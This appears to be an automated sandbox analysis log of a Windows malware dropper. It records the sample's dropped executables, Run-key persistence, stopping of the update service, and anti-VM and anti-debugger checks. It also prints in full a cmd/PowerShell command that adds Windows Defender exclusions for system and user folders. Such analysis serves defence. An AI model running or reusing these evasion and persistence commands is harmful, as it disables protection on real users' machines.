Source: C:\Users\user\AppData\Local\Temp\33080.scr

Executable created and started: C:\Windows\sysppvrdnvs.exe

Jump to behavior

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

0_2_004B10B0

Source: C:\Users\user\AppData\Local\Temp\33080.scr	File created: C:\Windows\sysppvrdnvs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tdrpl[1].exe	Jump to dropped file
Source: C:\Windows\sysppvrdnvs.exe	File created: C:\Users\user\AppData\Local\Temp\818921588.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	File created: C:\Users\user\AppData\Local\Temp\33080.scr	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\33080.scr

File created: C:\Windows\sysppvrdnvs.exe

Jump to dropped file

Source: C:\Windows\sysppvrdnvs.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\BITS

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\AppData\Local\Temp\33080.scr	File opened: C:\Users\user\AppData\Local\Temp\33080.scr:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	File opened: C:\Windows\sysppvrdnvs.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	File opened: C:\Users\user\AppData\Local\Temp\264162301.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	File opened: C:\Users\user\AppData\Local\Temp\229472814.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	File opened: C:\Users\user\AppData\Local\Temp\818921588.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bjl3geiFEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_0040D770	1_2_0040D770
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_0040D770	2_2_0040D770
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_0040D770	17_2_0040D770

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\sysppvrdnvs.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_17-4451
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_1-4451
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_1-4451
Source: C:\Windows\sysppvrdnvs.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_17-4451

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7787			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1787			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Evaded block: after key decision	graph_1-4467
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Evaded block: after key decision	graph_1-4453
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Evaded block: after key decision	graph_1-4535
Source: C:\Windows\sysppvrdnvs.exe	Evaded block: after key decision	graph_17-4451

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_1-5407
Source: C:\Windows\sysppvrdnvs.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_2-5878
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_1-4474
Source: C:\Windows\sysppvrdnvs.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_2-4498

Source: C:\Users\user\AppData\Local\Temp\33080.scr	API coverage: 3.7 %
Source: C:\Windows\sysppvrdnvs.exe	API coverage: 0.9 %

Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_0040D770		17_2_0040D770
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_0040D770		1_2_0040D770

Source: C:\Windows\sysppvrdnvs.exe TID: 340	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 340	Thread sleep count: 111 > 30	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 4180	Thread sleep time: -53205s >= -30000s	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe TID: 6968	Thread sleep time: -31490s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5660	Thread sleep count: 7787 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4416	Thread sleep count: 1787 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7020	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\SysWOW64\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	1_2_004068E0
Source: C:\Users\user\AppData\Local\Temp\33080.scr	Code function: 1_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	2_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 2_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_004067A0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_004068E0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	17_2_004068E0
Source: C:\Windows\sysppvrdnvs.exe	Code function: 17_2_004067A0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	17_2_004067A0

Source: C:\Users\user\AppData\Local\Temp\33080.scr

Code function: 1_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,

1_2_00402020

Source: C:\Windows\sysppvrdnvs.exe	Thread delayed: delay time: 40000	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Thread delayed: delay time: 53205	Jump to behavior
Source: C:\Windows\sysppvrdnvs.exe	Thread delayed: delay time: 31490	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000130E000.00000004.00000020.00020000.00000000.sdmp, Bjl3geiFEK.exe, 00000000.00000002.1807520857.0000000001379000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000064A000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903094197.000000000065F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000002.2003480961.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1937078841.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903094197.000000000069F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903798515.000000000065F000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903798515.000000000069F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Bjl3geiFEK.exe, 00000000.00000002.1807520857.000000000135B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: sysppvrdnvs.exe, 00000002.00000002.2003480961.0000000000688000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903094197.0000000000688000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000002.00000003.1903798515.0000000000688000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWF2od

Source: C:\Users\user\AppData\Local\Temp\33080.scr	API call chain: ExitProcess graph end node	graph_1-4452
Source: C:\Users\user\AppData\Local\Temp\33080.scr	API call chain: ExitProcess graph end node	graph_1-4464
Source: C:\Windows\sysppvrdnvs.exe	API call chain: ExitProcess graph end node	graph_17-4495
Source: C:\Windows\sysppvrdnvs.exe	API call chain: ExitProcess graph end node	graph_17-4464

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

Code function: 0_2_004B1DE8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

0_2_004B1DE8

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

0_2_004B10B0

Source: C:\Users\user\AppData\Local\Temp\33080.scr

Code function: 1_2_0040A890 GetProcessHeaps,

1_2_0040A890

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Bjl3geiFEK.exe

Code function: 0_2_004B1DE8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

0_2_004B1DE8

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\sysppvrdnvs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
